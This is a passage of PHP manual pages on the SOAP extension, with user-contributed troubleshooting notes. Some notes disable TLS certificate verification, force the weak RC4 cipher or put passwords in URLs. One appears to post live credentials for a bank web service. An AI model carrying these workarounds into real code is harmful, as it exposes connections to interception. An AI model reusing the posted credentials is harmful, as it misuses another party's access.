        $classmap[$array[1]] = $array[1];
    }
}
unset($tmpClient);

$server = new SoapServer("soapserver.wsdl", array("classmap" => $classmap));
unset($classmap);
$server->setClass("someclass");
$server->handle();
brephophagist 18-Jan-2007 09:45
For those working from a wsdl full of complex types that just want a class structure to hang your code on and not worry about typing in long parameter lists (or creating a script to do so): wsdl2php is a wonderful time-saver. Gets a structure going so you can go in and add what validation and special data munging you need: http://www.urdalen.no/wsdl2php/

Big up yourself, Knut.
Olaf Krische 21-Nov-2006 01:48
If you use SSL with a cert and password authentication:

$wsdl = "https://ws.ecopatz.de/ProductInfo?wsdl";
$pass = 'a password';
$certFile = "./mycert.pem";

  $client = new SoapClient($wsdl,
    array(
     'local_cert' => $certFile,
     'passphrase' => $pass
    )
  );

If you have problems with the certfile like this:

  Warning: SoapClient::__construct(): Unable to set local cert chain file `./mycert.pem'; Check that your cafile/capath settings include details of your certificate and its issuer in productinfo.php on line 27

then the certFile is probably in the "wrong format" (the wrong format for php maybe). It worked for me, when i appended the content of the private key file and the certificate file to a single file "mycert.pem":

  cat mycert.key >mycert.pem # mycert.key was the private key
  cat mycert.crt >>mycert.pem # mycert.crt was the signed certificate

Thanks to an author somewhere, who pointed to "curl --cert", where this little "so unimportant" dependency has been mentioned.
nico 25-Aug-2006 06:20
If you want to build a Soap Server for Microsoft Office's client (like Microsoft Office Research Service) you need to rewrite SOAP's namespaces :

<?php
// (...)

$server = new SoapServer($wsdl, array('uri' => $uri, 'classmap' => $classmap));
$server->setClass($class);
function callback($buffer)
{
    $s = array('<ns1:RegistrationResponse>', 'ns1:', 'xmlns:ns1="urn:Microsoft.Search"');
    $r = array('<RegistrationResponse xmlns="urn:Microsoft.Search">', '', '');
   return (str_replace($s, $r, $buffer));
}
ob_start('callback');
$server->handle();
ob_end_flush();

// (...)
?>

There are a complete example at this URL : http://touv.ouvaton.org/article.php3?id_article=104
mini at freebsd dot org 08-Jul-2006 04:54
wokan at cox dot net is incorrect about the security of URI-passed values to HTTPS URIs.  HTTPS connections are HTTP inside SSL -- all of the HTTP traffic, including the request, are encrypted.
adm 01-Mar-2006 11:27
Wondering why the function you just added to your WSDL file is not available to your SOAP client? Turn off WSDL caching, which (as the documentation says) is on by default.

At the top of your script, use:

$ini = ini_set("soap.wsdl_cache_enabled","0");
ckl at ecw dot de 16-Jan-2006 11:54
To debug a SOAP service using SoapServer(), a WSDL file and Zend Studio Client/Server, you have to append ?start_debug=1&amp;debug_port=10000 to the service location:
--- snip ---
... method / service definition ....

<service name="SOAPService">
  <port
    name="SOAPServicePort"
    binding="typens:SOAPServiceBinding">
   <soap:address
   location="$URL?start_debug=1&amp;debug_port=10000"/>
  </port>
</service>
--- snap ---
Rui Martins 18-Dec-2005 08:33
Here's an example on how to pass ArrayOfAnyType arguments
containing complex types.

Suppose your WSDL file defines "http://any.url.com/" as the default namespace and a complex type "SomeComplexType".

If you want to call a WebServices which takes an ArrayOfAnyType argument of "SomeComplexType"s you need to perform the following:

<?php
// complexTypes being an array containing several instances of SomeComplexType

myWSParameter = array();
foreach (complexTypes as ct)
{
   // Don't misspell the type or the namespace. Also note that php won't assume the default namespace defined in the WSDL file.
   myWSParameter []= new SoapVar(ct, 0, "SomeComplexType", "http://any.url.com/");
}
?>

On the other hand, when a WebService returns an ArrayOfAnyType you have to do the following to access each of its elements.

<?php
// Here, we will be echoing each return item
$res = $someWS->myFunction($myArgs)

// If only one element is returned, an array won't be built
if (is_array(myFunctionResult->anyType))
{
   foreach (myFunctionResult->anyType as $soapVar)
   {
      echo $soapVar->enc_value;
   }
}
else
{
   echo myFunctionResult->anyType->enc_value;
}
?>

This has all been tested using a .NET WebService.
ChrisB 23-Oct-2005 11:03
Heads up for anyone using PHP Soap + Sessions + PEAR DB classes.

Every time you make a call, via the soap client to your web service, your PEAR DB session is put to sleep and it doesnt by default wake upon the next request.

To fix this I simply called my particular database close call ifx_close() below my $soap->handle();
Bob 11-Oct-2005 01:17
If you are scratching your head why NuSOAP not working on PHP 5.x , the reason is this built-in SOAP Extenstion uses same soapclient() class name as Nusoap.

replace 'soapclient' with 'soapclient_xxx'  in nusoap.php and you are good to go...
johnjawed at gmail dot com 22-Sep-2005 09:29
For those wondering on how to set attributes on nodes with PHP5 SOAP, it would be done as such:

<... soap env/header>
<foo bar="blah">12345</foo>

array("foo" => array("_" => 12345, "bar" => "blah"));
Darryl 20-Jul-2005 11:46
Having trouble passing complex types over SOAP using a PHP SoapServer in WSDL mode?  Not getting decoded properly?  This may be the solution you're looking for!

When using ComplexType in the schema portion of the WSDL file, You need use an additional step to tell PHP SOAP how to encode the objects.  The first method would be to explicitely encapsulate the object in a SoapVar object - telling PHP to use generalized SOAP encoding rules (which encodes all ComplexTypes as Structs).  This won't work, though, if the client is expecting the objects to be encoded according to the WSDL's schema.  So, The actual way to do this is:

* First, define a specific PHP class which is actually just a data structure holding the various properties, and the appropriate  ComplexType in the WSDL.

<?php
 class MyComplexDataType {
     public $myProperty1;
     public $myProperty2;
 }
?>
 <complexType name="MyWSDLStructure">
 <sequence>
    <element name="MyProperty1" type="xsd:integer"/>
    <element name="MyProperty2" type="xsd:string"/>
 </sequence>
 </complexType>

* Next, Tell the SoapServer when you initialize it to map these two structures together.

<?php
 $classmap = array('MyWSDLStructure' => 'MyComplexDataType');
 $server = new SoapServer("http://MyServer/MyService.wsdl", array('classmap' => $classmap))
?>

* Finally, have your method return an instance of your class directly, and let the SoapServer take care of encoding!

<?php
 public function MySoapCall() {
     $o = new MyComplexDataType();

     $o->myProperty1 = 1;
     $o->myProperty2 = "MyString";

     return $o
 }
?>
Jim Plush 12-Jul-2005 04:45
If you're trying to use the SOAP Extension over SSL with a custom PEM file you need to do this:

$client->_local_cert = "C:\\path\myCert.pem";
flobee at gmail dot com 11-May-2005 01:25
wow, actually a cool program and soap is new for me.
I found out some interessting things i can not debug because the scripts exit without any error messages or notes. :-(

you may have problems with the memory and/or especially on "shared servers" when server load is high.
sometimes the script does the job, sometimes it just stopping at any unknown point.
these are the steps my script does:
* get data from remote server ( ~ 4.5 MB)
* parsing requested object and store the data in a database.

the return with debug messages was intressting:
-> check Mem limit: 30M
-> $client = new new SoapClient($url_wsdl, $options);
-> Memory usage: 185888
-> $client->[requested_method_to_get_data]();
-> check: __getLastResponseHeaders() - after:
-> HTTP/1.1 200 OK // remote server is fine with me :-)
-> Content-Length: 4586742  // I got the data
-> check: Memory usage now: 23098872 // ups !!! this can't be true!!

so, and if now someone on the server takes the rest of RAM  the walk thought the data breaks :-(

so, i need to store the xml tree ($client->client->__last_response) and parsing it by the classical way. (if you would request more RAM, you may get in trouble with the admin if you run a script like this more often! (on shared servers)
OrionI 18-Apr-2005 08:12
If you're having problems calling a .NET web service, see the comments over on http://php.net/soap_soapclient_soapcall (the __soapCall method).
kucerar at hhmi dot org 25-Mar-2005 12:04
Here are 73 test cases that detail the kinds of schemas that PHP5 currently supports and the structures you are expected to plug into them for the return value from your services.   Much better than trying to guess!

http://cvs.php.net/co.php/pecl/soap/tests/schema

You can cycle through the listings by changing the main index in the URL below,  rather than go in and out of the pages

http://cvs.php.net/co.php/pecl/soap/tests/schema/schema052.phpt?r=1.2

I downloaded the whole thing with this,  CVS might work too.
http://www.httrack.com/

With them all downloaded I just browse them with Textpad.
Norman Clarke <norman at dontblink dot com> 21-Feb-2005 04:29
Note that if you should need to set the timeout for your soap request,  you can use ini_set to change the value for the default_socket_timeout. I previously used NuSOAP, whose soap client class has a timeout option, and it took me a while to figure out that PHP's soap uses the same socket options as everything else.
wokan at cox dot net 05-Feb-2005 05:06
It's not good security practice to pass the username and password in the URI when the point of SSL is to prevent that information from being intercepted.  Putting that information in the URI makes it interceptable.  HTTPS-Posted values are safe because values passed in the headers are sent after the SSL handshake has been completed.
mikx at mikx dot de 29-Mar-2004 08:12
It took me a while to properly establish a password protected client connection via https on windows/apache1.3. Here my little guide:

1. The SOAP extension isn't activated by default (PHP5 RC1). Just add "extension=php_soap.dll" to the php.ini and don't forget to set the extension_dir properly (in most cases "c:\php\ext").

2. Add "extension=php_openssl.dll" to the php.ini. This module depends on libeay32.dll and ssleay32.dll - copy them from your php folder to your system32 folder.

3. Restart apache

4. The sourcecode

$client = new SoapClient("https://yourLogin:yourPassword@foo.com/bar.wsdl", array(
    "login"      => "yourLogin",
    "password"   => "yourPassword",
    "trace"      => 1,
    "exceptions" => 0));

$client->yourFunction();

print "<pre>\n";
print "Request: \n".htmlspecialchars($client->__getLastRequest()) ."\n";
print "Response: \n".htmlspecialchars($client->__getLastResponse())."\n";
print "</pre>";

Currently it seems to be necessary to add your login and password both in the uri and in the options array. Not sure if this is the expected behavior.


Checks if a SOAP call has failed

  • ? SOAP 函数
  • use_soap_error_handler ?
  • PHP Manual
  • SOAP 函数
  • Checks if a SOAP call has failed

is_soap_fault

(PHP 5, PHP 7, PHP 8)

is_soap_fault — Checks if a SOAP call has failed

说明

is_soap_fault(mixed $object): bool

This function is useful to check if the SOAP call failed, but without using exceptions. To use it, create a SoapClient object with the exceptions option set to zero or false. In this case, the SOAP method will return a special SoapFault object which encapsulates the fault details (faultcode, faultstring, faultactor and faultdetails).

If exceptions is not set then SOAP call will throw an exception on error. is_soap_fault() checks if the given parameter is a SoapFault object.

参数

object

The object to test.

返回值

This will return true on error, and false otherwise.

示例

Example #1 is_soap_fault() example

<?php
$client = new SoapClient("some.wsdl", array('exceptions' => 0));
$result = $client->SomeFunction();
if (is_soap_fault($result)) {
trigger_error("SOAP Fault: (faultcode: {$result->faultcode}, faultstring: {$result->faultstring})", E_USER_ERROR);
}
?>

Example #2 SOAP's standard method for error reporting is exceptions

<?php
try {
$client = new SoapClient("some.wsdl");
$result = $client->SomeFunction(/* ... */);
} catch (SoapFault $fault) {
trigger_error("SOAP Fault: (faultcode: {$fault->faultcode}, faultstring: {$fault->faultstring})", E_USER_ERROR);
}
?>

参见

  • SoapClient::__construct() - SoapClient constructor
  • SoapFault::__construct() - SoapFault constructor

User Contributed Notes

There are no user contributed notes for this page.


Set whether to use the SOAP error handler

  • ? is_soap_fault
  • SoapClient ?
  • PHP Manual
  • SOAP 函数
  • Set whether to use the SOAP error handler

use_soap_error_handler

(PHP 5, PHP 7, PHP 8)

use_soap_error_handler — Set whether to use the SOAP error handler

说明

use_soap_error_handler(bool $enable = true): bool

This function sets whether or not to use the SOAP error handler in the SOAP server. It will return the previous value. If set to true, details of errors in a SoapServer application will be sent to the client as a SOAP fault message. If false, the standard PHP error handler is used. The default is to send error to the client as SOAP fault message.

参数

enable

Set to true to send error details to clients.

返回值

Returns the original value.

参见

  • set_error_handler() - 设置用户自定义的错误处理函数
  • set_exception_handler() - 设置用户自定义的异常处理函数

User Contributed Notes

There are no user contributed notes for this page.


The SoapClient class

(PHP 5, PHP 7, PHP 8)

简介

The SoapClient class provides a client for » SOAP 1.1, » SOAP 1.2 servers. It can be used in WSDL or non-WSDL mode.

类摘要

class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}

属性

__default_headers

__last_request

__last_request_headers

__last_response

__last_response_headers

__soap_fault

_classmap

_connection_timeout

_cookies

_digest

_encoding

_exceptions

_features

_keep_alive

_login

_password

_proxy_host

_proxy_login

_proxy_password

_proxy_port

_soap_version

_ssl_method

_stream_context

_use_digest

_use_proxy

_user_agent

compression

httpsocket

httpurl

location

sdl

style

trace

typemap

uri

use

Table of Contents

  • SoapClient::__call — Calls a SOAP function (deprecated)
  • SoapClient::__construct — SoapClient constructor
  • SoapClient::__doRequest — Performs a SOAP request
  • SoapClient::__getCookies — Get list of cookies
  • SoapClient::__getFunctions — Returns list of available SOAP functions
  • SoapClient::__getLastRequest — Returns last SOAP request
  • SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request
  • SoapClient::__getLastResponse — Returns last SOAP response
  • SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response
  • SoapClient::__getTypes — Returns a list of SOAP types
  • SoapClient::__setCookie — Defines a cookie for SOAP requests
  • SoapClient::__setLocation — Sets the location of the Web service to use
  • SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls
  • SoapClient::__soapCall — Calls a SOAP function

User Contributed Notes

spam at kacke dot de 09-Sep-2022 08:46
In case a soap response returns nodes with the attribute xsi:nil="false", they are currently not processed by php-soapclient.

This seems to be a bug (not correct).

Workaround:

class mySoapClient extends SoapClient {
        public function __doRequest($request, $location, $action, $version, $one_way = 0) {
        $response = parent::__doRequest($request, $location, $action, $version, $one_way);
        $response = str_replace('xsi:nil="false"',"",$response);
        return $response;
    }
}

Took me a day. Hope it can help
Toppi
David 15-Feb-2017 12:57
Under IIS and PHP 7, when creating an new SoapClient, it will through an internal 500 error.

This could be caused by invalid permissions to the wsdl cache directory when using 'cache_wsdl'=>WSDL_CACHE_DISK or WSDL_CACHE_BOTH.

This worked for me:
    try {
        $arrContextOptions=array("ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false,'crypto_method' => STREAM_CRYPTO_METHOD_TLS_CLIENT));

        $options = array(
                'soap_version'=>SOAP_1_2,
                'exceptions'=>true,
                'trace'=>1,
                'cache_wsdl'=>WSDL_CACHE_NONE,
                'stream_context' => stream_context_create($arrContextOptions)
        );
        $client = new SoapClient('https://url/dir/file.wsdl', $options);

    } catch (Exception $e) {
        echo "<h2>Exception Error!</h2>";
        echo $e->getMessage();
    }
sheikh303 at gmail dot com 13-Jan-2017 07:51
What is the core method to call remote WSDL file while creating SoapClient object?
is it CURL, wget or anyother?
Ricardo Pedrassani 03-Jun-2016 01:53
If the XML have identities with same name in different levels there is a solution. You don′t have to ever submit a raw XML (this PHP SOAP object don′t allows send a RAW XML), so you have to always translate your XML to a array, like the example below:

$originalXML = "
<xml>
  <firstClient>
      <name>someone</name>
      <adress>R. 1001</adress>
  </firstClient>
  <secondClient>
      <name>another one</name>
      <adress></adress>
  </secondClient>
</xml>"

//Translate the XML above in a array, like PHP SOAP function requires
$myParams = array('firstClient' => array('name' => 'someone',
                                  'adress' => 'R. 1001'),
            'secondClient' => array('name' => 'another one',
                                  'adress' => ''));

$webService = new SoapClient($someURL);
$result = $webService->someWebServiceFunction($myParams);
mcinantyspam at fejm dot pl 13-May-2016 11:32
Please note, that if you provide values that contain illegal xml characters (ASCII codes 0-8,  11-12, 14-15 - or x0-x8, xB-xC, xE-xF in hex), php's SoapClient will do send them in request, although such request is improper because it does not meet XML 1.0 requirements.
You always have to replace or remove these characters in your data before supplying them to SoapClient
info at nospam x valiton x com 13-Apr-2015 08:06
CAUTION:
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>

src:
http://php.net/manual/en/context.http.php#114314
acopantepuy at gmail dot com 11-Apr-2015 02:45
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: XXXXXXXXXXX\r\n"."password: XXXXX\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
acopantepuy at gmail dot com 11-Apr-2015 02:42
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: C1040001760102\r\n"."password: bcv2020\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
romuloum at hotmail dot com 19-Feb-2015 04:22
After migrating to PHP 5.6.5, the soap 1.2 did not work anymore. So I solved the problem by adding optional parameters SSL.
My error: failed to load external entity
How to solve:
        // options for ssl in php 5.6.5
        $opts = array(
            'ssl' => array('ciphers'=>'RC4-SHA', 'verify_peer'=>false, 'verify_peer_name'=>false)
        );
        // SOAP 1.2 client
        $params = array ('encoding' => 'UTF-8', 'verifypeer' => false, 'verifyhost' => false, 'soap_version' => SOAP_1_2, 'trace' => 1, 'exceptions' => 1, "connection_timeout" => 180, 'stream_context' => stream_context_create($opts) );
        $oSoapClient = new SoapClient ( $url . "?WSDL", $params );
softontherocks at gmail dot com 22-Nov-2014 08:32
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
martin dot schenck at plugsurfing dot com 15-Sep-2014 03:34
If you want to connect to a server that only supports SSLv2/3 and/or TLS 1.0 (no TLS 2 or 3), tell the SOAP client if you get a connection error by setting the appropriate stream context:
<?php
  $opts = array(
    'ssl' => array('ciphers'=>'RC4-SHA')
  );

  $objSoapClient = new SoapClient(
    'https://example.com/?wsdl',
    array ( "encoding"=>"ISO-8859-1",
    'stream_context' => stream_context_create($opts)
    // your options
    );
?>

You might need to disable the SOAP caching of WSDLs in order for the SOAP client to use the new context.
Stefan 03-Jun-2014 11:04
There is a known bug with some versions of Xdebug which can cause SoapClient to not throw an exception but instead cause a fatal error.

Surround the SoapClient call with xdebug_disable(); and xdebug_enable();  to work around this problem.

For reference:

http://bugs.xdebug.org/view.php?id=249
https://bugs.php.net/bug.php?id=47584
Anonymous 12-Sep-2013 09:25
I got the following error when trying to load the WSDL file:

Fatal error: Uncaught SoapFault exception: [WSDL] SOAP-ERROR: Parsing WSDL: <message> 'MessageName' already defined

In my case there was no double definitions but it was including other files - I think one of them contained a duplicate message with a different namespace (which SoapClient doesn't like).

I resolved it by loading the WSDL in SoapUI, right-clicking and selecting "Export definition". The WSDL that then got created worked fine. Hope this helps somebody.
Guillermo Prandi 20-Feb-2012 02:10
To make an HTTPS call with a client certificate, you can do it this way:

1) Create a file containing both the key and the signed certificate. I did this by concatenating my (.pem) key and the certificate I've got signed from my CA (also .pem format). The file looked like this:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKagQC1N27Ilb9pWil2NaX2qM8FquXBXK5T1AydOv7sCotsc8MAwbi7
......(snip)......
wAiOCD4K9TyMS76pIS8UyfJl/oIrn7EF24BUpaUfsh8=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC/zCCAmigAwIBAgIEAIl1JzANBgkqhkiG9w0BAQQuADBQMQswCQYxVQQGEaJV
......(snip)......
eSPds1hLKYSg0bd3uI7LhaDLOC1PPgb77sYe/uYkUWuHBzllts5x/pfue0zaIBKG
Omjy
-----END CERTIFICATE-----

2) Reference your certificate in the creation of the SOAP client, like this:

$protected_url = "https://my-server/?wsdl";
$my_cert_file = "/my/path/to/mycert.pem";

$client = new SoapClient($protected_url, array('local_cert', $my_cert_file) );
egiardina at badatmath dot com 03-Aug-2011 06:05
This one drove me nuts... if you are connecting to a web service run on Cassini, (Visual Studio's web server) from php, you may not be able to call web service functions or load a WSDL out-of-the-box.

My set up is that I am using xampp on my windows development machine, and also using Visual Studio's built in web-server. I built a web service in visual studio. I wrote a simple PHP script, running under xampp, to access this service, so the two projects can 'talk' to each other. What I found was the WSDL was never loaded.

So I moved the WSDL local to the PHP file and accessed it directly. Still no calls. Turns out, PHP's SoapClient seems to have a problem with 'localhost' as a web service endpoint. So I hand-edited the web service endpoint URL to read 127.0.0.1 instead of localhost, and Voila! Web Service calls work:

Here is my PHP, now working:
<?php
$client = new SoapClient("http://localhost/code/soap.wsdl");
$something =  $client->HelloWorld(array());
echo $something->HelloWorldResult;
die();

?>

Here is my modified WSDL:
  <wsdl:service name="MyService">
    <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap">
      <soap:address location="http://127.0.0.1:55274/MyService/MyService.asmx" />
....

    </wsdl:port>
stepan dot zarubin at gmail dot com 30-Jun-2011 11:51
Well, this example works fine:

<?php
try {
    $x = @new SoapClient("non-existent.wsdl");
} catch (Exception $e) {
    echo $e->getMessage();
}
?>

Just make sure use NEW with @.
jjlopez 09-Mar-2011 11:36
If you are making soap calls in WSDL mode , and the address of your web service includes a port different from 80 (like http://my_ip_address:8080//service.asmx?wsdl), the WSDL file is fetched correctly, but all subsequent requests are made without any port in the host field. This causes a SoapFault exception when trying to call any of the service's methods.

You need to redefine the soapClient class and force the port in each call.

See this example:

http://www.victorstanciu.ro/php-soapclient-port-bug-workaround/
hugues at zonereseau dot com 17-Feb-2011 09:17
When you need to connect to services requiring to send extra header use this method.

Here how we can to it with PHP and SoapClient

<?php
class exampleChannelAdvisorAuth
{
    public $DeveloperKey;
    public $Password;

    public function __construct($key, $pass)
    {
        $this->DeveloperKey = $key;
        $this->Password = $pass;
    }
}

$devKey        = "";
$password    = "";
$accountId    = "";

// Create the SoapClient instance
$url         = "";
$client     = new SoapClient($url, array("trace" => 1, "exception" => 0));

// Create the header
$auth         = new ChannelAdvisorAuth($devKey, $password);
$header     = new SoapHeader("http://www.example.com/webservices/", "APICredentials", $auth, false);

// Call wsdl function
$result = $client->__soapCall("DeleteMarketplaceAd", array(
    "DeleteMarketplaceAd" => array(
        "accountID"        => $accountId,
        "marketplaceAdID"    => "9938745"        // The ads ID
    )
), NULL, $header);

// Echo the result
echo "<pre>".print_r($result, true)."</pre>";
if($result->DeleteMarketplaceAdResult->Status == "Success")
{
    echo "Item deleted!";
}
?>
fourat dot zouari at tritux dot com 20-Jun-2009 08:08
In addition to the KeepAlive trick which is a "server-side" modification, on the "client side" default_socket_timeout should be increased from its default value (60) when you deal with ~slow SOAP servers.
As for the KeepAlive, if creating a new separate vhost for the soap api is not possible, you can add this to your existing vhost: BrowserMatch "^PHP-SOAP" nokeepalive
where PHP-SOAP is the agent name of your soap client, if you dont know what agent name your client use, just checkout the access.log of your apache.
peter dot hansen at fastit dot net 01-May-2009 06:57
When you get errors like:
"Fatal error: Uncaught SoapFault exception: [HTTP] Error Fetching http headers in"
after a few (time intensive) SOAP-Calls, check your webserver-config.

Sometimes the webservers "KeepAlive"-Setting tends to result in this error. For SOAP-Environments I recommend you to disable KeepAlive.

Hint: It might be tricky to create a dedicated vhost for your SOAP-Gateways and disable keepalive just for this vhost because for normal webpages Keepalive is a nice speed-boost.


Calls a SOAP function (deprecated)

  • ? SoapClient
  • SoapClient::__construct ?
  • PHP Manual
  • SoapClient
  • Calls a SOAP function (deprecated)

SoapClient::__call

(PHP 5, PHP 7, PHP 8)

SoapClient::__call — Calls a SOAP function (deprecated)

说明

public SoapClient::__call(string $name, array $args): mixed

Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClient object; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall().

参数

name

The name of the SOAP function to call.

args

An array of the arguments to pass to the function. This can be either an ordered or an associative array. Note that most SOAP servers require parameter names to be provided, in which case this must be an associative array.

返回值

SOAP functions may return one, or multiple values. If only one value is returned by the SOAP function, the return value will be a scalar. If multiple values are returned, an associative array of named output parameters is returned instead.

On error, if the SoapClient object was constructed with the exceptions option set to false, a SoapFault object will be returned.

User Contributed Notes

philipp dot gruber at catchoftheday dot com dot au 07-Apr-2014 12:27
If you are using a WSDL, the library will strip out anything from your parameters that is not defined in WSDL, without giving you any notice about this.

So if your parameters are not fully matching the WSDL, it will simply send no parameters at all.
This can be a bit hard to debug if you don't have access to the target server.

__soapCall() expects parameters in an array called 'parameters' as opposed to calling the function via it's WSDL name, where it accepts the parameters as a plain array.

I.e. if a function called sendOrder expects a parameter (array) called orderDetails, you can call it like this:

$orderDetails = array(/* your data */);
$soap->sendOrder(array('orderDetails' => $orderDetails));

Which is equivalent to:

$client->__soapCall('sendOrder', array('parameters' => array('orderDetails' => $orderDetails)));

Note the additional 'parameters' key used in __soapCall().
KRavEN 17-Jun-2009 06:56
extend of __call thats adds a retry to handle the occasional 'Could not connect to host' exceptions

<?php
class LocalSoapClient extends SoapClient
{

  public function __call($function_name, $arguments)
  {
    $result = false;
    $max_retries = 5;
    $retry_count = 0;

    while(! $result && $retry_count < $max_retries)
    {
      try
      {
        $result = parent::__call($function_name, $arguments);
      }
      catch(SoapFault $fault)
      {
        if($fault->faultstring != 'Could not connect to host')
        {
          throw $fault;
        }
      }
      sleep(1);
      $retry_count ++;
    }
    if($retry_count == $max_retries)
    {
      throw new SoapFault('Could not connect to host after 5 attempts');
    }
    return $result;
  }
}
?>
bananos at dev dot co dot ua 11-Apr-2008 05:13
I'm writing PHP SOAP client (based on php_soap extension) which uses Google AdService,
today, I tried to create sample Ad using   AdService::addAds()  and discovered that my SOAP library does not pass
"headline", "description1", "description2"  parameters in SOAP request.

First, I thought that this was something wrong with my data, coz I was getting validation errors like
"One or more input elements failed validation."   Then I decided to take a look at WSDL description
https://adwords.google.com/api/adwords/v11/AdService?wsdl

And voilà !  I've found this:

<complexType name="Ad" abstract="true">
<sequence>
  <element name="adGroupId" type="xsd:int"/>
  <element name="adType" nillable="true" minOccurs="0" type="impl:AdType"/>
  <element name="destinationUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="disapproved" type="xsd:boolean"/>
  <element name="displayUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="exemptionRequest" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="id" type="xsd:long"/>
  <element name="status" nillable="true" minOccurs="0" type="impl:AdStatus"/>
</sequence>

</complexType>

There is no any ''description", "headline1", "headline2", however there is another complexType

<complexType name="TextAd">
    <complexContent>
    <extension base="impl:Ad">
    <sequence>

<element name="description1" nillable="true" type="xsd:string"/>
<element name="description2" nillable="true" type="xsd:string"/>
<element name="headline" nillable="true" type="xsd:string"/>
</sequence>

</extension>
</complexContent>
</complexType>

So, the thing is when you are working with php_soap be aware of complexType extensions which does not work in php_soap when you try to do things like:

<?php

$client = new
    SoapClient(
       "https://adwords.google.com/api/adwords/v11/AdService?wsdl",
        array(  'trace'      => true,
                'exceptions' => true,
             )

    );

$entropy     = substr(md5(rand(0, time())), 0, 10);
//create Ad test structure
$sample_ad =  array(
               "id" => 0,
               "adGroupId" => 0,
               "adType" => 'TextAd',
               "disapproved" => false,
               "destinationUrl" => 'http://test.com',
               "displayUrl" => 'www.Test.com',
               "status" => "Paused", //  Enabled / Disabled
               "descr_iption1" => 'D1_'.$entropy,
               "des_cription2" => 'D2_'.$entropy,
               "head_line" => 'H_'.$entropy
        );

$client->addAds(array('ads' => array($sample_ad) );
?>
Samil Abud 19-Dec-2007 12:00
Hi,
This is a good example, for the SOAP function "__call".
However it is deprecated.

<?php
$wsdl = "http://webservices.tekever.eu/ctt/?wsdl";
$int_zona = 5;
$int_peso = 1001;
$cliente = new SoapClient($wsdl);
print "<p>Envio Internacional: ";
$vem = $cliente->__call('CustoEMSInternacional',array($int_zona, $int_peso));
print $vem;
print "</p>";
?>


SoapClient constructor

  • ? SoapClient::__call
  • SoapClient::__doRequest ?
  • PHP Manual
  • SoapClient
  • SoapClient constructor

SoapClient::__construct

(PHP 5, PHP 7, PHP 8)

SoapClient::__construct — SoapClient constructor

说明

public SoapClient::__construct(?string $wsdl, array $options = [])

Creates a SoapClient object to connect to a SOAP service.

参数

wsdl

URI of a WSDL file describing the service, which is used to automatically configure the client. If not provided, the client will operate in non-WSDL mode.

Note:

By default, the WSDL file will be cached for performance. To disable or configure this caching, see SOAP 配置选项 and the cache_wsdl option.

options

An associative array specifying additional options for the SOAP client. If wsdl is provided, this is optional; otherwise, at least location and url must be provided.

location string

The URL of the SOAP server to send the request to.

Required if the wsdl parameter is not provided. If both a wsdl parameter and location option are provided, the location option will over-ride any location specified in the WSDL file.

uri string

The target namespace of the SOAP service.

Required if the wsdl parameter is not provided; ignored otherwise.

style int

